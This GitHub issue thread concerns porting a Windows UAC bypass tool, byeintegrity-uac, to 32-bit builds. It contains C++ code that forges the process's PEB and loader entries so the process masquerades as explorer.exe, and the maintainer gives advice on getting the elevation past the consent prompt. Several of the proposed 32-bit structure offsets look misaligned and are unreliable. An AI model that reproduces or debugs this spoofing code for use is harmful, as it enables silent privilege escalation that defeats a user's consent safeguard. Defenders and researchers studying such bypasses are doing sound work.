AzAgarampur/byeintegrity-uac

Not compatible with x86

Opened this issue · 9 comments

Will fail if built as x86. pPeb will be null.
image

From the readme

Just note that this hasn’t been tested or designed with x86 in mind at all, and it probably won’t work on x86 anyways

You could make it work on x86 possibly by determining the struct offset that points to the PEB from the TEB by dumping the _PEB structure in WinDbg or something similar. I'd use the 2021 version for better results and source, but it may have the same x86 restrictions.

Does this make sense?

constexpr auto PEB_OFFSET = 0x60ULL;
constexpr auto PEB_OFFSET_32 = 0x30; //  32-bit process

constexpr auto PROCESS_PARAM_OFFSET = 0x20ULL;
constexpr auto PROCESS_PARAM_OFFSET_32 = 0x10ULL; //  32-bit process

void ForgeProcessInformation(PCWCHAR explorerPath, const RtlInitUnicodeStringPtr RtlInitUnicodeString,
	const LdrEnumerateLoadedModulesPtr LdrEnumerateLoadedModules)
{
	PBYTE pPeb = nullptr;
	PRTL_USER_PROCESS_PARAMETERS pProcessParams = nullptr;

#ifndef _x64
	pPeb = *reinterpret_cast<PBYTE*>(reinterpret_cast<PBYTE>(NtCurrentTeb()) + PEB_OFFSET_32);
	pProcessParams = *reinterpret_cast<PRTL_USER_PROCESS_PARAMETERS*>(pPeb + PROCESS_PARAM_OFFSET_32);
#else
	pPeb = *reinterpret_cast<PBYTE*>(reinterpret_cast<PBYTE>(NtCurrentTeb()) + PEB_OFFSET);
	pProcessParams = *reinterpret_cast<PRTL_USER_PROCESS_PARAMETERS*>(pPeb + PROCESS_PARAM_OFFSET);
#endif
	RtlInitUnicodeString(&pProcessParams->ImagePathName, explorerPath);
	RtlInitUnicodeString(&pProcessParams->CommandLine, L"explorer.exe");

	LDR_CALLBACK_PARAMS params{ explorerPath, GetModuleHandleW(nullptr), RtlInitUnicodeString };

	LdrEnumerateLoadedModules(0, [](PVOID ldrEntry, PVOID context, PBOOLEAN stop)
		{
			auto* params = static_cast<LDR_CALLBACK_PARAMS*>(context);

			if (*reinterpret_cast<PULONG_PTR>(reinterpret_cast<ULONG_PTR>(ldrEntry) + DLL_BASE_OFFSET) == reinterpret_cast<
				ULONG_PTR>(params->ImageBase))
			{
				const auto baseName = reinterpret_cast<PUNICODE_STRING>(static_cast<PBYTE>(ldrEntry) + BASENAME_OFFSET),
					fullName = reinterpret_cast<PUNICODE_STRING>(static_cast<PBYTE>(ldrEntry) + FULLNAME_OFFSET);

				params->RtlInitUnicodeString(baseName, L"explorer.exe");
				params->RtlInitUnicodeString(fullName, params->ExplorerPath);

				*stop = TRUE;
			}
		}, reinterpret_cast<PVOID>(&params));
}

Those two offsets seem ok, but the lambda in LdrEnumerateLoadedModules may raise an access violation because DLL_BASE_OFFSET is for x64, maybe that should be fixed up too.

I changed that as well

#ifdef _WIN64
constexpr auto PEB_OFFSET = 0x60ULL;
constexpr auto PROCESS_PARAM_OFFSET = 0x20ULL;
constexpr auto BASENAME_OFFSET = 0x58ULL;
constexpr auto FULLNAME_OFFSET = 0x48ULL;
constexpr auto DLL_BASE_OFFSET = 0x30ULL;
#else
constexpr auto PEB_OFFSET = 0x30ULL;
constexpr auto PROCESS_PARAM_OFFSET = 0x10ULL;
constexpr auto BASENAME_OFFSET = 0x29ULL;
constexpr auto FULLNAME_OFFSET = 0x24ULL;
constexpr auto DLL_BASE_OFFSET = 0x15ULL;
#endif

The data structure seems to be OK but when running the x86 version, there is a UAC prompt displayed. Any idea how to fix it?

What is the UAC prompt for? If it is for IFileOperation (File Operation) then that means that ForgeProcessInformation isn't able to spoof the PEB + loader data and the appinfo service is determining that the calling process isn't explorer.exe.

That’s what I get. The alert is about the exe making changes.
image
If I approve the 2 changes (2 alerts like that) it crashes:
image
and that's only on x86

If that's the case then it seems that appinfo will not allow the process to be explorer.exe, maybe because it is expecting x64 and the caller is x86 (are you on 32bit windows)? Also the second picture is https://github.com/AzAgarampur/byeintegrity2-uac not this repo, correct? If so then its possible that IeAxiAdminInstaller has changed internal structure/parameter parsing on x86. You can try doing SysAllocString to make a random name for the installer and pass that as the first argument of the function to see if it stops the A/V.

That is correct but also this repo does not support x86

That is correct, it could be also true that certain interfaces do not internally implement marshaling data between the two